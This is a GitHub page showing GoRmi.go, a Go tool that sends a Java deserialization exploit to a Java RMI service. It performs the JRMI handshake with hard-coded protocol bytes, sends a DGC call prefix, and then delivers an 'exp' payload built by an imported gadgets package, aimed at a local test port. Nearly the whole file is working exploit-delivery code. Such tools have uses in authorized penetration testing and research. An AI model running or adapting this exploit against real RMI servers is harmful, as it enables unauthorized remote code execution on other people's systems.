-
Notifications
You must be signed in to change notification settings - Fork 10
/
GoRmi.go
99 lines (89 loc) · 2.04 KB
/
GoRmi.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package main
import (
"GoRmi/gadgets"
"encoding/hex"
"fmt"
"net"
)
func SendData(ip string,port string,exp []byte) {
conn, err := net.Dial("tcp",ip+":"+port)
if err != nil {
fmt.Printf("conn server failed, err:%v\n", err)
return
}
//发送固定的值
data1 := []byte{
0x4a, 0x52, 0x4d, 0x49, 0x00, 0x02, 0x4b,
}
_, err = conn.Write(data1)
if err != nil {
fmt.Printf("send data1 failed, err:%v\n", err)
return
}
var buf1 [1024]byte
_, err = conn.Read(buf1[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}
//前面2个字节是后面ip的长度16进置
//xx ip xxxx length:17 |000c 3139322e3136382e39362e31 00000000
//data2 := []byte{
// 0x00, 0x0c, 0x31, 0x39, 0x32, 0x2e, 0x31,
// 0x36, 0x38, 0x2e, 0x39, 0x36, 0x2e, 0x31,
// 0x00, 0x00, 0x00, 0x00,
//}
ipa :=[]byte(ip)
aaa :=[]byte(string(len(ip)))
toString := hex.EncodeToString(ipa)
bbb := hex.EncodeToString(aaa)
data:=("00"+bbb+toString+"00000000")
data2, err := hex.DecodeString(data)
_, err = conn.Write(data2)
if err != nil {
fmt.Printf("send data2 failed, err:%v\n", err)
return
}
data3 := []byte{
0x50, 0xac, 0xed, 0x00, 0x05, 0x77, 0x22,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x44, 0x15, 0x4d, 0xc9, 0xd4, 0xe6,
0x3b, 0xdf,
}
_, err = conn.Write(data3)
if err != nil {
fmt.Printf("send data3 failed, err:%v\n", err)
return
}
var buf2 [1024]byte
_, err = conn.Read(buf2[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}
data4 := []byte{
0x52,
}
_, err = conn.Write(data4)
if err != nil {
fmt.Printf("send data4 failed, err:%v\n", err)
return
}
var buf3 [1024]byte
_, err = conn.Read(buf3[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}
//最后发送exp 反序列化数据
_, err = conn.Write(exp)
if err != nil {
fmt.Printf("send exp failed, err:%v\n", err)
return
}
}
func main() {
SendData("127.0.0.1","9001",gadgets.GetUrlDns("calc"))
}